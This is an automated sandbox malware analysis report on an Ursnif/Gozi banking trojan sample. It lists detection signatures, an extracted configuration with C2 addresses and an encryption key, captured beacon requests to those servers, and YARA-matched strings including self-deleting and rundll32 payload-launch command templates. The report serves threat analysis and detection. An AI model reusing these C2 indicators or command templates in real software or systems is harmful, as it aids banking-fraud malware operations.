Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
server.exe

Overview

General Information

Sample Name:server.exe
Analysis ID:827054
MD5:768928d17e8d3489407b540dbad4a770
SHA1:8ce488487dc133ef92dec536608b0c1056a3e16a
SHA256:5d0be9aaad980137d68677d7ef3758d9ce7a4e2d170df0abee803f64b14dcd67
Tags:agenziaentrateexegoziisfbITAmefmiseursnif
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Detected unpacking (overwrites its own PE header)
Yara detected Ursnif
Detected unpacking (changes PE section rights)
Snort IDS alert for network traffic
Writes or reads registry keys via WMI
Found API chain indicative of debugger detection
Machine Learning detection for sample
Found evasive API chain (may stop execution after checking system information)
Writes registry values via WMI
Uses 32bit PE files
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Creates a DirectInput object (often for capturing keystrokes)
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

  • System is w10x64
  • server.exe (PID: 3536 cmdline: C:\Users\user\Desktop\server.exe MD5: 768928D17E8D3489407B540DBAD4A770)
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
Gozi, Ursnif2000 Ursnif aka Snifula2006 Gozi v1.0, Gozi CRM, CRM, Papras2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)-> 2010 Gozi Prinimalka -> Vawtrak/NeverquestIn 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed.It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.gozi
{"RSA Public Key": "ScCitKVnthsrIejolA7zuBWvwII2di/DH3GlyTtkQAl5+NYn11P8hoApgIAx8QgiEaRicK3ETZq3j2ua44XjJevEH0XzzTqZAT3wkYswDxrBkgZMCwo6YXkhXitvoh3eARDtRDEkQsoLHZ9GnSskgPPZhcXZcW5DEVGUxmtbXgDaTXEEASp94TxsSTq8LcHFcoUD/3qCUIKISKD7sIV0hgpJQ8kx5Fr/zREoX54YDyuxKi/xJ3SBIavWF9UPU+YwvxpBDYMFrMsKJrjGUlpoQZehisJjttb1cTtggelEGnFr5O2GXefQUuwrSizDeVnMRSAHdds+AiqlPxEl1nFzSfnHhHtw7Ql8JtPTws7Z1Ho=", "c2_domain": ["checklist.skype.com", "5.44.43.17", "31.41.44.108", "62.173.138.213", "109.248.11.174"], "botnet": "7714", "server": "50", "serpent_key": "lk8hY4nisKQzZKXE", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}
SourceRuleDescriptionAuthorStrings
00000000.00000002.568856386.0000000002E48000.00000040.00000020.00020000.00000000.sdmpWindows_Trojan_RedLineStealer_ed346e4cunknownunknown
  • 0x6b65:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_fd494041unknownunknown
    • 0x1228:$a1: /C ping localhost -n %u && del "%s"
    • 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s"
    • 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S"
    • 0xa9c:$a5: filename="%.4u.%lu"
    • 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X
    • 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X
    • 0xe6d:$a9: &whoami=%s
    • 0xe56:$a10: %u.%u_%u_%u_x%u
    • 0xd63:$a11: size=%u&hash=0x%08x
    • 0xb1d:$a12: &uptime=%u
    • 0x6fb:$a13: %systemroot%\system32\c_1252.nls
    • 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
    00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_261f5ac5unknownunknown
    • 0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x
    • 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu"
    • 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)
    • 0xd96:$a9: Software\AppDataLow\Software\Microsoft\
    • 0x1ca0:$a9: Software\AppDataLow\Software\Microsoft\
    00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      Click to see the 27 entries
      No Sigma rule has matched
      Timestamp:192.168.2.45.44.43.1749695802033203 03/15/23-14:40:37.858863
      SID:2033203
      Source Port:49695
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: server.exeVirustotal: Detection: 55%Perma Link
      Source: server.exeJoe Sandbox ML: detected
      Source: 0.2.server.exe.400000.0.unpackAvira: Label: TR/Crypt.XPACK.Gen7
      Source: 00000000.00000003.303363656.0000000002C90000.00000004.00001000.00020000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "ScCitKVnthsrIejolA7zuBWvwII2di/DH3GlyTtkQAl5+NYn11P8hoApgIAx8QgiEaRicK3ETZq3j2ua44XjJevEH0XzzTqZAT3wkYswDxrBkgZMCwo6YXkhXitvoh3eARDtRDEkQsoLHZ9GnSskgPPZhcXZcW5DEVGUxmtbXgDaTXEEASp94TxsSTq8LcHFcoUD/3qCUIKISKD7sIV0hgpJQ8kx5Fr/zREoX54YDyuxKi/xJ3SBIavWF9UPU+YwvxpBDYMFrMsKJrjGUlpoQZehisJjttb1cTtggelEGnFr5O2GXefQUuwrSizDeVnMRSAHdds+AiqlPxEl1nFzSfnHhHtw7Ql8JtPTws7Z1Ho=", "c2_domain": ["checklist.skype.com", "5.44.43.17", "31.41.44.108", "62.173.138.213", "109.248.11.174"], "botnet": "7714", "server": "50", "serpent_key": "lk8hY4nisKQzZKXE", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE1508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

      Compliance

      barindex
      Source: C:\Users\user\Desktop\server.exeUnpacked PE file: 0.2.server.exe.400000.0.unpack
      Source: server.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
      Source: C:\Users\user\Desktop\server.exeFile opened: C:\Windows\SysWOW64\msvcr100.dll
      Source: Binary string: C:\nexonanil\dituvap\gekezatuz82\povosozuwozob16\saleni90 c.pdb source: server.exe

      Networking

      barindex
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.4:49695 -> 5.44.43.17:80
      Source: Joe Sandbox ViewASN Name: MGNHOST-ASRU MGNHOST-ASRU
      Source: global trafficHTTP traffic detected: GET /drew/4g9Pq9f8yl_2BqLNg_2F/GsF66vmh2Tpicwg37xs/IeFtLuJ4Vgq9WwijsD2n0d/Bquuj0kLXj_2B/g9_2Bh6q/18_2Bd4Y19mjSIvebXNvx4u/IKPQjubsH_/2BffqZNZA6lqyycQo/1wN43eb54EKC/UkUZJXRrn4j/R3115Fw4Czb8SK/xar7XimyyrkEE9m9c0UP0/1KSNpQlordpxo1Ws/_2B6QH8tLTSTNrP/6dO_2BuUeu5EmaGfZI/wcja66YPQ/Z_2B4nfOuMl7_2BnQaBq/8KUwwwam.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 5.44.43.17Connection: Keep-AliveCache-Control: no-cache
      Source: unknownDNS traffic detected: query: checklist.skype.com replaycode: Name error (3)
      Source: unknownTCP traffic detected without corresponding DNS query: 5.44.43.17
      Source: unknownTCP traffic detected without corresponding DNS query: 5.44.43.17
      Source: unknownTCP traffic detected without corresponding DNS query: 5.44.43.17
      Source: unknownTCP traffic detected without corresponding DNS query: 5.44.43.17
      Source: unknownTCP traffic detected without corresponding DNS query: 5.44.43.17
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.108
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.108
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.108
      Source: server.exe, 00000000.00000002.568929049.00000000049BC000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://31.41.
      Source: server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.108/
      Source: server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.108/32
      Source: server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000000.00000002.568866270.0000000002EAC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.108/drew/FJTU0wze8Hjvm_2BHka/T78K158O_2Fv5farATygbE/7uQJsjJeUPlO2/LBUhKSJa/o4FD53ecF
      Source: server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://5.44.43.17/
      Source: server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://5.44.43.17/-A1ED-B2838757AE1B
      Source: server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://5.44.43.17/98D0-4585-A1ED-B2838757AE1B
      Source: server.exe, 00000000.00000002.568866270.0000000002EB8000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000000.00000002.568866270.0000000002EAC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://5.44.43.17/drew/4g9Pq9f8yl_2BqLNg_2F/GsF66vmh2Tpicwg37xs/IeFtLuJ4Vgq9WwijsD2n0d/Bquuj0kLXj_2B
      Source: server.exe, 00000000.00000002.568866270.0000000002EAC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/drew/RCiQyn59/Gow2vU3BObfVI7A8uLXOgnm/720Rvxrh27/9sCisgCQ1dbhwi3H4/XmYN2I
      Source: unknownDNS traffic detected: queries for: checklist.skype.com
      Source: global trafficHTTP traffic detected: GET /drew/4g9Pq9f8yl_2BqLNg_2F/GsF66vmh2Tpicwg37xs/IeFtLuJ4Vgq9WwijsD2n0d/Bquuj0kLXj_2B/g9_2Bh6q/18_2Bd4Y19mjSIvebXNvx4u/IKPQjubsH_/2BffqZNZA6lqyycQo/1wN43eb54EKC/UkUZJXRrn4j/R3115Fw4Czb8SK/xar7XimyyrkEE9m9c0UP0/1KSNpQlordpxo1Ws/_2B6QH8tLTSTNrP/6dO_2BuUeu5EmaGfZI/wcja66YPQ/Z_2B4nfOuMl7_2BnQaBq/8KUwwwam.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 5.44.43.17Connection: Keep-AliveCache-Control: no-cache

      Key, Mouse, Clipboard, Microphone and Screen Capturing

      barindex
      Source: Yara matchFile source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTR
      Source: server.exe, 00000000.00000002.568840095.0000000002E3A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

      E-Banking Fraud

      barindex
      Source: Yara matchFile source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTR
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE1508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

      System Summary

      barindex
      Source: 00000000.00000002.568856386.0000000002E48000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
      Source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000002.568790164.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
      Source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: C:\Users\user\Desktop\server.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Users\user\Desktop\server.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Users\user\Desktop\server.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Users\user\Desktop\server.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Users\user\Desktop\server.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Users\user\Desktop\server.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Users\user\Desktop\server.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: server.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
      Source: 00000000.00000002.568856386.0000000002E48000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
      Source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000002.568790164.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
      Source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
